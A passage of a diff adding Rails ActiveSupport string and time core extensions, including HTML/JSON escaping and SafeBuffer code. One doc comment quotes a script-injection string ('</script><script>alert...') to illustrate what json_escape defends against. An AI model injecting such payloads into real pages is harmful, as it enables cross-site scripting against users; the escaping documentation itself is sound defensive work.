+  #   'apple'.pluralize(2)         # => "apples"
+  #   'ley'.pluralize(:es)         # => "leyes"
+  #   'ley'.pluralize(1, :es)      # => "ley"
+  def pluralize(count = nil, locale = :en)
+    locale = count if count.is_a?(Symbol)
+    if count == 1
+      dup
+    else
+      ActiveSupport::Inflector.pluralize(self, locale)
+    end
+  end
+
+  # The reverse of +pluralize+, returns the singular form of a word in a string.
+  #
+  # If the optional parameter +locale+ is specified,
+  # the word will be singularized as a word of that language.
+  # By default, this parameter is set to <tt>:en</tt>.
+  # You must define your own inflection rules for languages other than English.
+  #
+  #   'posts'.singularize            # => "post"
+  #   'octopi'.singularize           # => "octopus"
+  #   'sheep'.singularize            # => "sheep"
+  #   'word'.singularize             # => "word"
+  #   'the blue mailmen'.singularize # => "the blue mailman"
+  #   'CamelOctopi'.singularize      # => "CamelOctopus"
+  #   'leyes'.singularize(:es)       # => "ley"
+  def singularize(locale = :en)
+    ActiveSupport::Inflector.singularize(self, locale)
+  end
+
+  # +constantize+ tries to find a declared constant with the name specified
+  # in the string. It raises a NameError when the name is not in CamelCase
+  # or is not initialized.  See ActiveSupport::Inflector.constantize
+  #
+  #   'Module'.constantize  # => Module
+  #   'Class'.constantize   # => Class
+  #   'blargle'.constantize # => NameError: wrong constant name blargle
+  def constantize
+    ActiveSupport::Inflector.constantize(self)
+  end
+
+  # +safe_constantize+ tries to find a declared constant with the name specified
+  # in the string. It returns +nil+ when the name is not in CamelCase
+  # or is not initialized.  See ActiveSupport::Inflector.safe_constantize
+  #
+  #   'Module'.safe_constantize  # => Module
+  #   'Class'.safe_constantize   # => Class
+  #   'blargle'.safe_constantize # => nil
+  def safe_constantize
+    ActiveSupport::Inflector.safe_constantize(self)
+  end
+
+  # By default, +camelize+ converts strings to UpperCamelCase. If the argument to camelize
+  # is set to <tt>:lower</tt> then camelize produces lowerCamelCase.
+  #
+  # +camelize+ will also convert '/' to '::' which is useful for converting paths to namespaces.
+  #
+  #   'active_record'.camelize                # => "ActiveRecord"
+  #   'active_record'.camelize(:lower)        # => "activeRecord"
+  #   'active_record/errors'.camelize         # => "ActiveRecord::Errors"
+  #   'active_record/errors'.camelize(:lower) # => "activeRecord::Errors"
+  def camelize(first_letter = :upper)
+    case first_letter
+    when :upper
+      ActiveSupport::Inflector.camelize(self, true)
+    when :lower
+      ActiveSupport::Inflector.camelize(self, false)
+    end
+  end
+  alias_method :camelcase, :camelize
+
+  # Capitalizes all the words and replaces some characters in the string to create
+  # a nicer looking title. +titleize+ is meant for creating pretty output. It is not
+  # used in the Rails internals.
+  #
+  # The trailing '_id','Id'.. can be kept and capitalized by setting the
+  # optional parameter +keep_id_suffix+ to true.
+  # By default, this parameter is false.
+  #
+  # +titleize+ is also aliased as +titlecase+.
+  #
+  #   'man from the boondocks'.titleize                       # => "Man From The Boondocks"
+  #   'x-men: the last stand'.titleize                        # => "X Men: The Last Stand"
+  #   'string_ending_with_id'.titleize(keep_id_suffix: true)  # => "String Ending With Id"
+  def titleize(keep_id_suffix: false)
+    ActiveSupport::Inflector.titleize(self, keep_id_suffix: keep_id_suffix)
+  end
+  alias_method :titlecase, :titleize
+
+  # The reverse of +camelize+. Makes an underscored, lowercase form from the expression in the string.
+  #
+  # +underscore+ will also change '::' to '/' to convert namespaces to paths.
+  #
+  #   'ActiveModel'.underscore         # => "active_model"
+  #   'ActiveModel::Errors'.underscore # => "active_model/errors"
+  def underscore
+    ActiveSupport::Inflector.underscore(self)
+  end
+
+  # Replaces underscores with dashes in the string.
+  #
+  #   'puni_puni'.dasherize # => "puni-puni"
+  def dasherize
+    ActiveSupport::Inflector.dasherize(self)
+  end
+
+  # Removes the module part from the constant expression in the string.
+  #
+  #   'ActiveSupport::Inflector::Inflections'.demodulize # => "Inflections"
+  #   'Inflections'.demodulize                           # => "Inflections"
+  #   '::Inflections'.demodulize                         # => "Inflections"
+  #   ''.demodulize                                      # => ''
+  #
+  # See also +deconstantize+.
+  def demodulize
+    ActiveSupport::Inflector.demodulize(self)
+  end
+
+  # Removes the rightmost segment from the constant expression in the string.
+  #
+  #   'Net::HTTP'.deconstantize   # => "Net"
+  #   '::Net::HTTP'.deconstantize # => "::Net"
+  #   'String'.deconstantize      # => ""
+  #   '::String'.deconstantize    # => ""
+  #   ''.deconstantize            # => ""
+  #
+  # See also +demodulize+.
+  def deconstantize
+    ActiveSupport::Inflector.deconstantize(self)
+  end
+
+  # Replaces special characters in a string so that it may be used as part of a 'pretty' URL.
+  #
+  #   class Person
+  #     def to_param
+  #       "#{id}-#{name.parameterize}"
+  #     end
+  #   end
+  #
+  #   @person = Person.find(1)
+  #   # => #<Person id: 1, name: "Donald E. Knuth">
+  #
+  #   <%= link_to(@person.name, person_path) %>
+  #   # => <a href="/person/1-donald-e-knuth">Donald E. Knuth</a>
+  #
+  # To preserve the case of the characters in a string, use the `preserve_case` argument.
+  #
+  #   class Person
+  #     def to_param
+  #       "#{id}-#{name.parameterize(preserve_case: true)}"
+  #     end
+  #   end
+  #
+  #   @person = Person.find(1)
+  #   # => #<Person id: 1, name: "Donald E. Knuth">
+  #
+  #   <%= link_to(@person.name, person_path) %>
+  #   # => <a href="/person/1-Donald-E-Knuth">Donald E. Knuth</a>
+  def parameterize(separator: "-", preserve_case: false)
+    ActiveSupport::Inflector.parameterize(self, separator: separator, preserve_case: preserve_case)
+  end
+
+  # Creates the name of a table like Rails does for models to table names. This method
+  # uses the +pluralize+ method on the last word in the string.
+  #
+  #   'RawScaledScorer'.tableize # => "raw_scaled_scorers"
+  #   'ham_and_egg'.tableize     # => "ham_and_eggs"
+  #   'fancyCategory'.tableize   # => "fancy_categories"
+  def tableize
+    ActiveSupport::Inflector.tableize(self)
+  end
+
+  # Creates a class name from a plural table name like Rails does for table names to models.
+  # Note that this returns a string and not a class. (To convert to an actual class
+  # follow +classify+ with +constantize+.)
+  #
+  #   'ham_and_eggs'.classify # => "HamAndEgg"
+  #   'posts'.classify        # => "Post"
+  def classify
+    ActiveSupport::Inflector.classify(self)
+  end
+
+  # Capitalizes the first word, turns underscores into spaces, and (by default)strips a
+  # trailing '_id' if present.
+  # Like +titleize+, this is meant for creating pretty output.
+  #
+  # The capitalization of the first word can be turned off by setting the
+  # optional parameter +capitalize+ to false.
+  # By default, this parameter is true.
+  #
+  # The trailing '_id' can be kept and capitalized by setting the
+  # optional parameter +keep_id_suffix+ to true.
+  # By default, this parameter is false.
+  #
+  #   'employee_salary'.humanize                    # => "Employee salary"
+  #   'author_id'.humanize                          # => "Author"
+  #   'author_id'.humanize(capitalize: false)       # => "author"
+  #   '_id'.humanize                                # => "Id"
+  #   'author_id'.humanize(keep_id_suffix: true)    # => "Author Id"
+  def humanize(capitalize: true, keep_id_suffix: false)
+    ActiveSupport::Inflector.humanize(self, capitalize: capitalize, keep_id_suffix: keep_id_suffix)
+  end
+
+  # Converts just the first character to uppercase.
+  #
+  #   'what a Lovely Day'.upcase_first # => "What a Lovely Day"
+  #   'w'.upcase_first                 # => "W"
+  #   ''.upcase_first                  # => ""
+  def upcase_first
+    ActiveSupport::Inflector.upcase_first(self)
+  end
+
+  # Creates a foreign key name from a class name.
+  # +separate_class_name_and_id_with_underscore+ sets whether
+  # the method should put '_' between the name and 'id'.
+  #
+  #   'Message'.foreign_key        # => "message_id"
+  #   'Message'.foreign_key(false) # => "messageid"
+  #   'Admin::Post'.foreign_key    # => "post_id"
+  def foreign_key(separate_class_name_and_id_with_underscore = true)
+    ActiveSupport::Inflector.foreign_key(self, separate_class_name_and_id_with_underscore)
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/string/inquiry.rb b/activesupport/lib/active_support/core_ext/string/inquiry.rb
new file mode 100644
index 0000000000..92069981b6
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/inquiry.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require_relative "../../string_inquirer"
+
+class String
+  # Wraps the current string in the <tt>ActiveSupport::StringInquirer</tt> class,
+  # which gives you a prettier way to test for equality.
+  #
+  #   env = 'production'.inquiry
+  #   env.production?  # => true
+  #   env.development? # => false
+  def inquiry
+    ActiveSupport::StringInquirer.new(self)
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/string/multibyte.rb b/activesupport/lib/active_support/core_ext/string/multibyte.rb
new file mode 100644
index 0000000000..fba5b166a2
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/multibyte.rb
@@ -0,0 +1,55 @@
+# frozen_string_literal: true
+
+require_relative "../../multibyte"
+
+class String
+  # == Multibyte proxy
+  #
+  # +mb_chars+ is a multibyte safe proxy for string methods.
+  #
+  # It creates and returns an instance of the ActiveSupport::Multibyte::Chars class which
+  # encapsulates the original string. A Unicode safe version of all the String methods are defined on this proxy
+  # class. If the proxy class doesn't respond to a certain method, it's forwarded to the encapsulated string.
+  #
+  #   >> "lj".upcase
+  #   => "lj"
+  #   >> "lj".mb_chars.upcase.to_s
+  #   => "LJ"
+  #
+  # == Method chaining
+  #
+  # All the methods on the Chars proxy which normally return a string will return a Chars object. This allows
+  # method chaining on the result of any of these methods.
+  #
+  #   name.mb_chars.reverse.length # => 12
+  #
+  # == Interoperability and configuration
+  #
+  # The Chars object tries to be as interchangeable with String objects as possible: sorting and comparing between
+  # String and Char work like expected. The bang! methods change the internal string representation in the Chars
+  # object. Interoperability problems can be resolved easily with a +to_s+ call.
+  #
+  # For more information about the methods defined on the Chars proxy see ActiveSupport::Multibyte::Chars. For
+  # information about how to change the default Multibyte behavior see ActiveSupport::Multibyte.
+  def mb_chars
+    ActiveSupport::Multibyte.proxy_class.new(self)
+  end
+
+  # Returns +true+ if string has utf_8 encoding.
+  #
+  #   utf_8_str = "some string".encode "UTF-8"
+  #   iso_str = "some string".encode "ISO-8859-1"
+  #
+  #   utf_8_str.is_utf8? # => true
+  #   iso_str.is_utf8?   # => false
+  def is_utf8?
+    case encoding
+    when Encoding::UTF_8
+      valid_encoding?
+    when Encoding::ASCII_8BIT, Encoding::US_ASCII
+      dup.force_encoding(Encoding::UTF_8).valid_encoding?
+    else
+      false
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/string/output_safety.rb b/activesupport/lib/active_support/core_ext/string/output_safety.rb
new file mode 100644
index 0000000000..adcd2b1dca
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/output_safety.rb
@@ -0,0 +1,261 @@
+# frozen_string_literal: true
+
+require "erb"
+require_relative "../kernel/singleton_class"
+require_relative "../../multibyte/unicode"
+
+class ERB
+  module Util
+    HTML_ESCAPE = { "&" => "&amp;",  ">" => "&gt;",   "<" => "&lt;", '"' => "&quot;", "'" => "&#39;" }
+    JSON_ESCAPE = { "&" => '\u0026', ">" => '\u003e', "<" => '\u003c', "\u2028" => '\u2028', "\u2029" => '\u2029' }
+    HTML_ESCAPE_ONCE_REGEXP = /["><']|&(?!([a-zA-Z]+|(#\d+)|(#[xX][\dA-Fa-f]+));)/
+    JSON_ESCAPE_REGEXP = /[\u2028\u2029&><]/u
+
+    # A utility method for escaping HTML tag characters.
+    # This method is also aliased as <tt>h</tt>.
+    #
+    # In your ERB templates, use this method to escape any unsafe content. For example:
+    #   <%= h @person.name %>
+    #
+    #   puts html_escape('is a > 0 & a < 10?')
+    #   # => is a &gt; 0 &amp; a &lt; 10?
+    def html_escape(s)
+      unwrapped_html_escape(s).html_safe
+    end
+
+    # Aliasing twice issues a warning "discarding old...". Remove first to avoid it.
+    remove_method(:h)
+    alias h html_escape
+
+    module_function :h
+
+    singleton_class.send(:remove_method, :html_escape)
+    module_function :html_escape
+
+    # HTML escapes strings but doesn't wrap them with an ActiveSupport::SafeBuffer.
+    # This method is not for public consumption! Seriously!
+    def unwrapped_html_escape(s) # :nodoc:
+      s = s.to_s
+      if s.html_safe?
+        s
+      else
+        CGI.escapeHTML(ActiveSupport::Multibyte::Unicode.tidy_bytes(s))
+      end
+    end
+    module_function :unwrapped_html_escape
+
+    # A utility method for escaping HTML without affecting existing escaped entities.
+    #
+    #   html_escape_once('1 < 2 &amp; 3')
+    #   # => "1 &lt; 2 &amp; 3"
+    #
+    #   html_escape_once('&lt;&lt; Accept & Checkout')
+    #   # => "&lt;&lt; Accept &amp; Checkout"
+    def html_escape_once(s)
+      result = ActiveSupport::Multibyte::Unicode.tidy_bytes(s.to_s).gsub(HTML_ESCAPE_ONCE_REGEXP, HTML_ESCAPE)
+      s.html_safe? ? result.html_safe : result
+    end
+
+    module_function :html_escape_once
+
+    # A utility method for escaping HTML entities in JSON strings. Specifically, the
+    # &, > and < characters are replaced with their equivalent unicode escaped form -
+    # \u0026, \u003e, and \u003c. The Unicode sequences \u2028 and \u2029 are also
+    # escaped as they are treated as newline characters in some JavaScript engines.
+    # These sequences have identical meaning as the original characters inside the
+    # context of a JSON string, so assuming the input is a valid and well-formed
+    # JSON value, the output will have equivalent meaning when parsed:
+    #
+    #   json = JSON.generate({ name: "</script><script>alert('PWNED!!!')</script>"})
+    #   # => "{\"name\":\"</script><script>alert('PWNED!!!')</script>\"}"
+    #
+    #   json_escape(json)
+    #   # => "{\"name\":\"\\u003C/script\\u003E\\u003Cscript\\u003Ealert('PWNED!!!')\\u003C/script\\u003E\"}"
+    #
+    #   JSON.parse(json) == JSON.parse(json_escape(json))
+    #   # => true
+    #
+    # The intended use case for this method is to escape JSON strings before including
+    # them inside a script tag to avoid XSS vulnerability:
+    #
+    #   <script>
+    #     var currentUser = <%= raw json_escape(current_user.to_json) %>;
+    #   </script>
+    #
+    # It is necessary to +raw+ the result of +json_escape+, so that quotation marks
+    # don't get converted to <tt>&quot;</tt> entities. +json_escape+ doesn't
+    # automatically flag the result as HTML safe, since the raw value is unsafe to
+    # use inside HTML attributes.
+    #
+    # If your JSON is being used downstream for insertion into the DOM, be aware of
+    # whether or not it is being inserted via +html()+. Most jQuery plugins do this.
+    # If that is the case, be sure to +html_escape+ or +sanitize+ any user-generated
+    # content returned by your JSON.
+    #
+    # If you need to output JSON elsewhere in your HTML, you can just do something
+    # like this, as any unsafe characters (including quotation marks) will be
+    # automatically escaped for you:
+    #
+    #   <div data-user-info="<%= current_user.to_json %>">...</div>
+    #
+    # WARNING: this helper only works with valid JSON. Using this on non-JSON values
+    # will open up serious XSS vulnerabilities. For example, if you replace the
+    # +current_user.to_json+ in the example above with user input instead, the browser
+    # will happily eval() that string as JavaScript.
+    #
+    # The escaping performed in this method is identical to those performed in the
+    # Active Support JSON encoder when +ActiveSupport.escape_html_entities_in_json+ is
+    # set to true. Because this transformation is idempotent, this helper can be
+    # applied even if +ActiveSupport.escape_html_entities_in_json+ is already true.
+    #
+    # Therefore, when you are unsure if +ActiveSupport.escape_html_entities_in_json+
+    # is enabled, or if you are unsure where your JSON string originated from, it
+    # is recommended that you always apply this helper (other libraries, such as the
+    # JSON gem, do not provide this kind of protection by default; also some gems
+    # might override +to_json+ to bypass Active Support's encoder).
+    def json_escape(s)
+      result = s.to_s.gsub(JSON_ESCAPE_REGEXP, JSON_ESCAPE)
+      s.html_safe? ? result.html_safe : result
+    end
+
+    module_function :json_escape
+  end
+end
+
+class Object
+  def html_safe?
+    false
+  end
+end
+
+class Numeric
+  def html_safe?
+    true
+  end
+end
+
+module ActiveSupport #:nodoc:
+  class SafeBuffer < String
+    UNSAFE_STRING_METHODS = %w(
+      capitalize chomp chop delete downcase gsub lstrip next reverse rstrip
+      slice squeeze strip sub succ swapcase tr tr_s upcase
+    )
+
+    alias_method :original_concat, :concat
+    private :original_concat
+
+    # Raised when <tt>ActiveSupport::SafeBuffer#safe_concat</tt> is called on unsafe buffers.
+    class SafeConcatError < StandardError
+      def initialize
+        super "Could not concatenate to the buffer because it is not html safe."
+      end
+    end
+
+    def [](*args)
+      if args.size < 2
+        super
+      elsif html_safe?
+        new_safe_buffer = super
+
+        if new_safe_buffer
+          new_safe_buffer.instance_variable_set :@html_safe, true
+        end
+
+        new_safe_buffer
+      else
+        to_str[*args]
+      end
+    end
+
+    def safe_concat(value)
+      raise SafeConcatError unless html_safe?
+      original_concat(value)
+    end
+
+    def initialize(str = "")
+      @html_safe = true
+      super
+    end
+
+    def initialize_copy(other)
+      super
+      @html_safe = other.html_safe?
+    end
+
+    def clone_empty
+      self[0, 0]
+    end
+
+    def concat(value)
+      super(html_escape_interpolated_argument(value))
+    end
+    alias << concat
+
+    def prepend(value)
+      super(html_escape_interpolated_argument(value))
+    end
+
+    def +(other)
+      dup.concat(other)
+    end
+
+    def %(args)
+      case args
+      when Hash
+        escaped_args = Hash[args.map { |k, arg| [k, html_escape_interpolated_argument(arg)] }]
+      else
+        escaped_args = Array(args).map { |arg| html_escape_interpolated_argument(arg) }
+      end
+
+      self.class.new(super(escaped_args))
+    end
+
+    def html_safe?
+      defined?(@html_safe) && @html_safe
+    end
+
+    def to_s
+      self
+    end
+
+    def to_param
+      to_str
+    end
+
+    def encode_with(coder)
+      coder.represent_object nil, to_str
+    end
+
+    UNSAFE_STRING_METHODS.each do |unsafe_method|
+      if unsafe_method.respond_to?(unsafe_method)
+        class_eval <<-EOT, __FILE__, __LINE__ + 1
+          def #{unsafe_method}(*args, &block)       # def capitalize(*args, &block)
+            to_str.#{unsafe_method}(*args, &block)  #   to_str.capitalize(*args, &block)
+          end                                       # end
+
+          def #{unsafe_method}!(*args)              # def capitalize!(*args)
+            @html_safe = false                      #   @html_safe = false
+            super                                   #   super
+          end                                       # end
+        EOT
+      end
+    end
+
+    private
+
+      def html_escape_interpolated_argument(arg)
+        (!html_safe? || arg.html_safe?) ? arg : CGI.escapeHTML(arg.to_s)
+      end
+  end
+end
+
+class String
+  # Marks a string as trusted safe. It will be inserted into HTML with no
+  # additional escaping performed. It is your responsibility to ensure that the
+  # string contains no malicious content. This method is equivalent to the
+  # `raw` helper in views. It is recommended that you use `sanitize` instead of
+  # this method. It should never be called on user input.
+  def html_safe
+    ActiveSupport::SafeBuffer.new(self)
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/string/starts_ends_with.rb b/activesupport/lib/active_support/core_ext/string/starts_ends_with.rb
new file mode 100644
index 0000000000..919eb7a573
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/starts_ends_with.rb
@@ -0,0 +1,6 @@
+# frozen_string_literal: true
+
+class String
+  alias_method :starts_with?, :start_with?
+  alias_method :ends_with?, :end_with?
+end
diff --git a/activesupport/lib/active_support/core_ext/string/strip.rb b/activesupport/lib/active_support/core_ext/string/strip.rb
new file mode 100644
index 0000000000..cc26274e4a
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/strip.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+class String
+  # Strips indentation in heredocs.
+  #
+  # For example in
+  #
+  #   if options[:usage]
+  #     puts <<-USAGE.strip_heredoc
+  #       This command does such and such.
+  #
+  #       Supported options are:
+  #         -h         This message
+  #         ...
+  #     USAGE
+  #   end
+  #
+  # the user would see the usage message aligned against the left margin.
+  #
+  # Technically, it looks for the least indented non-empty line
+  # in the whole string, and removes that amount of leading whitespace.
+  def strip_heredoc
+    gsub(/^#{scan(/^[ \t]*(?=\S)/).min}/, "".freeze)
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/string/zones.rb b/activesupport/lib/active_support/core_ext/string/zones.rb
new file mode 100644
index 0000000000..db30c03a8e
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/string/zones.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require_relative "conversions"
+require_relative "../time/zones"
+
+class String
+  # Converts String to a TimeWithZone in the current zone if Time.zone or Time.zone_default
+  # is set, otherwise converts String to a Time via String#to_time
+  def in_time_zone(zone = ::Time.zone)
+    if zone
+      ::Time.find_zone!(zone).parse(self)
+    else
+      to_time
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/time.rb b/activesupport/lib/active_support/core_ext/time.rb
new file mode 100644
index 0000000000..4e16274443
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/time.rb
@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+require_relative "time/acts_like"
+require_relative "time/calculations"
+require_relative "time/compatibility"
+require_relative "time/conversions"
+require_relative "time/zones"
diff --git a/activesupport/lib/active_support/core_ext/time/acts_like.rb b/activesupport/lib/active_support/core_ext/time/acts_like.rb
new file mode 100644
index 0000000000..309418df42
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/time/acts_like.rb
@@ -0,0 +1,10 @@
+# frozen_string_literal: true
+
+require_relative "../object/acts_like"
+
+class Time
+  # Duck-types as a Time-like class. See Object#acts_like?.
+  def acts_like_time?
+    true
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/time/calculations.rb b/activesupport/lib/active_support/core_ext/time/calculations.rb
new file mode 100644
index 0000000000..0e51df44ef
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/time/calculations.rb
@@ -0,0 +1,315 @@
+# frozen_string_literal: true
+
+require_relative "../../duration"
+require_relative "conversions"
+require_relative "../../time_with_zone"
+require_relative "zones"
+require_relative "../date_and_time/calculations"
+require_relative "../date/calculations"
+
+class Time
+  include DateAndTime::Calculations
+
+  COMMON_YEAR_DAYS_IN_MONTH = [nil, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]
+
+  class << self
+    # Overriding case equality method so that it returns true for ActiveSupport::TimeWithZone instances
+    def ===(other)
+      super || (self == Time && other.is_a?(ActiveSupport::TimeWithZone))
+    end
+
+    # Returns the number of days in the given month.
+    # If no year is specified, it will use the current year.
+    def days_in_month(month, year = current.year)
+      if month == 2 && ::Date.gregorian_leap?(year)
+        29
+      else
+        COMMON_YEAR_DAYS_IN_MONTH[month]
+      end
+    end
+
+    # Returns the number of days in the given year.
+    # If no year is specified, it will use the current year.
+    def days_in_year(year = current.year)
+      days_in_month(2, year) + 337
+    end
+
+    # Returns <tt>Time.zone.now</tt> when <tt>Time.zone</tt> or <tt>config.time_zone</tt> are set, otherwise just returns <tt>Time.now</tt>.
+    def current
+      ::Time.zone ? ::Time.zone.now : ::Time.now
+    end
+
+    # Layers additional behavior on Time.at so that ActiveSupport::TimeWithZone and DateTime
+    # instances can be used when called with a single argument
+    def at_with_coercion(*args)
+      return at_without_coercion(*args) if args.size != 1
+
+      # Time.at can be called with a time or numerical value
+      time_or_number = args.first
+
+      if time_or_number.is_a?(ActiveSupport::TimeWithZone) || time_or_number.is_a?(DateTime)
+        at_without_coercion(time_or_number.to_f).getlocal
+      else
+        at_without_coercion(time_or_number)
+      end
+    end
+    alias_method :at_without_coercion, :at
+    alias_method :at, :at_with_coercion
+
+    # Creates a +Time+ instance from an RFC 3339 string.
+    #
+    #   Time.rfc3339('1999-12-31T14:00:00-10:00') # => 2000-01-01 00:00:00 -1000
+    #
+    # If the time or offset components are missing then an +ArgumentError+ will be raised.
+    #
+    #   Time.rfc3339('1999-12-31') # => ArgumentError: invalid date
+    def rfc3339(str)
+      parts = Date._rfc3339(str)
+
+      raise ArgumentError, "invalid date" if parts.empty?
+
+      Time.new(
+        parts.fetch(:year),
+        parts.fetch(:mon),
+        parts.fetch(:mday),
+        parts.fetch(:hour),
+        parts.fetch(:min),
+        parts.fetch(:sec) + parts.fetch(:sec_fraction, 0),
+        parts.fetch(:offset)
+      )
+    end
+  end
+
+  # Returns the number of seconds since 00:00:00.
+  #
+  #   Time.new(2012, 8, 29,  0,  0,  0).seconds_since_midnight # => 0.0
+  #   Time.new(2012, 8, 29, 12, 34, 56).seconds_since_midnight # => 45296.0
+  #   Time.new(2012, 8, 29, 23, 59, 59).seconds_since_midnight # => 86399.0
+  def seconds_since_midnight
+    to_i - change(hour: 0).to_i + (usec / 1.0e+6)
+  end
+
+  # Returns the number of seconds until 23:59:59.
+  #
+  #   Time.new(2012, 8, 29,  0,  0,  0).seconds_until_end_of_day # => 86399
+  #   Time.new(2012, 8, 29, 12, 34, 56).seconds_until_end_of_day # => 41103
+  #   Time.new(2012, 8, 29, 23, 59, 59).seconds_until_end_of_day # => 0
+  def seconds_until_end_of_day
+    end_of_day.to_i - to_i
+  end
+
+  # Returns the fraction of a second as a +Rational+
+  #
+  #   Time.new(2012, 8, 29, 0, 0, 0.5).sec_fraction # => (1/2)
+  def sec_fraction
+    subsec
+  end
+
+  # Returns a new Time where one or more of the elements have been changed according
+  # to the +options+ parameter. The time options (<tt>:hour</tt>, <tt>:min</tt>,
+  # <tt>:sec</tt>, <tt>:usec</tt>, <tt>:nsec</tt>) reset cascadingly, so if only
+  # the hour is passed, then minute, sec, usec and nsec is set to 0. If the hour
+  # and minute is passed, then sec, usec and nsec is set to 0. The +options+ parameter
+  # takes a hash with any of these keys: <tt>:year</tt>, <tt>:month</tt>, <tt>:day</tt>,
+  # <tt>:hour</tt>, <tt>:min</tt>, <tt>:sec</tt>, <tt>:usec</tt>, <tt>:nsec</tt>,
+  # <tt>:offset</tt>. Pass either <tt>:usec</tt> or <tt>:nsec</tt>, not both.
+  #
+  #   Time.new(2012, 8, 29, 22, 35, 0).change(day: 1)              # => Time.new(2012, 8, 1, 22, 35, 0)
+  #   Time.new(2012, 8, 29, 22, 35, 0).change(year: 1981, day: 1)  # => Time.new(1981, 8, 1, 22, 35, 0)
+  #   Time.new(2012, 8, 29, 22, 35, 0).change(year: 1981, hour: 0) # => Time.new(1981, 8, 29, 0, 0, 0)
+  def change(options)
+    new_year   = options.fetch(:year, year)
+    new_month  = options.fetch(:month, month)
+    new_day    = options.fetch(:day, day)
+    new_hour   = options.fetch(:hour, hour)
+    new_min    = options.fetch(:min, options[:hour] ? 0 : min)
+    new_sec    = options.fetch(:sec, (options[:hour] || options[:min]) ? 0 : sec)
+    new_offset = options.fetch(:offset, nil)
+
+    if new_nsec = options[:nsec]
+      raise ArgumentError, "Can't change both :nsec and :usec at the same time: #{options.inspect}" if options[:usec]
+      new_usec = Rational(new_nsec, 1000)
+    else
+      new_usec = options.fetch(:usec, (options[:hour] || options[:min] || options[:sec]) ? 0 : Rational(nsec, 1000))
+    end
+
+    raise ArgumentError, "argument out of range" if new_usec >= 1000000
+
+    new_sec += Rational(new_usec, 1000000)
+
+    if new_offset
+      ::Time.new(new_year, new_month, new_day, new_hour, new_min, new_sec, new_offset)
+    elsif utc?
+      ::Time.utc(new_year, new_month, new_day, new_hour, new_min, new_sec)
+    elsif zone
+      ::Time.local(new_year, new_month, new_day, new_hour, new_min, new_sec)
+    else
+      ::Time.new(new_year, new_month, new_day, new_hour, new_min, new_sec, utc_offset)
+    end
+  end
+
+  # Uses Date to provide precise Time calculations for years, months, and days
+  # according to the proleptic Gregorian calendar. The +options+ parameter
+  # takes a hash with any of these keys: <tt>:years</tt>, <tt>:months</tt>,
+  # <tt>:weeks</tt>, <tt>:days</tt>, <tt>:hours</tt>, <tt>:minutes</tt>,
+  # <tt>:seconds</tt>.
+  #
+  #   Time.new(2015, 8, 1, 14, 35, 0).advance(seconds: 1) # => 2015-08-01 14:35:01 -0700
+  #   Time.new(2015, 8, 1, 14, 35, 0).advance(minutes: 1) # => 2015-08-01 14:36:00 -0700
+  #   Time.new(2015, 8, 1, 14, 35, 0).advance(hours: 1)   # => 2015-08-01 15:35:00 -0700
+  #   Time.new(2015, 8, 1, 14, 35, 0).advance(days: 1)    # => 2015-08-02 14:35:00 -0700
+  #   Time.new(2015, 8, 1, 14, 35, 0).advance(weeks: 1)   # => 2015-08-08 14:35:00 -0700
+  def advance(options)
+    unless options[:weeks].nil?
+      options[:weeks], partial_weeks = options[:weeks].divmod(1)
+      options[:days] = options.fetch(:days, 0) + 7 * partial_weeks
+    end
+
+    unless options[:days].nil?
+      options[:days], partial_days = options[:days].divmod(1)
+      options[:hours] = options.fetch(:hours, 0) + 24 * partial_days
+    end
+
+    d = to_date.advance(options)
+    d = d.gregorian if d.julian?
+    time_advanced_by_date = change(year: d.year, month: d.month, day: d.day)
+    seconds_to_advance = \
+      options.fetch(:seconds, 0) +
+      options.fetch(:minutes, 0) * 60 +
+      options.fetch(:hours, 0) * 3600
+
+    if seconds_to_advance.zero?
+      time_advanced_by_date
+    else
+      time_advanced_by_date.since(seconds_to_advance)
+    end
+  end
+
+  # Returns a new Time representing the time a number of seconds ago, this is basically a wrapper around the Numeric extension
+  def ago(seconds)
+    since(-seconds)
+  end
+
+  # Returns a new Time representing the time a number of seconds since the instance time
+  def since(seconds)
+    self + seconds
+  rescue
+    to_datetime.since(seconds)
+  end
+  alias :in :since
+
+  # Returns a new Time representing the start of the day (0:00)
+  def beginning_of_day
+    change(hour: 0)
+  end
+  alias :midnight :beginning_of_day
+  alias :at_midnight :beginning_of_day
+  alias :at_beginning_of_day :beginning_of_day
+
+  # Returns a new Time representing the middle of the day (12:00)
+  def middle_of_day
+    change(hour: 12)
+  end
+  alias :midday :middle_of_day
+  alias :noon :middle_of_day
+  alias :at_midday :middle_of_day
+  alias :at_noon :middle_of_day
+  alias :at_middle_of_day :middle_of_day
+
+  # Returns a new Time representing the end of the day, 23:59:59.999999
+  def end_of_day
+    change(
+      hour: 23,
+      min: 59,
+      sec: 59,
+      usec: Rational(999999999, 1000)
+    )
+  end
+  alias :at_end_of_day :end_of_day
+
+  # Returns a new Time representing the start of the hour (x:00)
+  def beginning_of_hour
+    change(min: 0)
+  end
+  alias :at_beginning_of_hour :beginning_of_hour
+
+  # Returns a new Time representing the end of the hour, x:59:59.999999
+  def end_of_hour
+    change(
+      min: 59,
+      sec: 59,
+      usec: Rational(999999999, 1000)
+    )
+  end
+  alias :at_end_of_hour :end_of_hour
+
+  # Returns a new Time representing the start of the minute (x:xx:00)
+  def beginning_of_minute
+    change(sec: 0)
+  end
+  alias :at_beginning_of_minute :beginning_of_minute
+
+  # Returns a new Time representing the end of the minute, x:xx:59.999999
+  def end_of_minute
+    change(
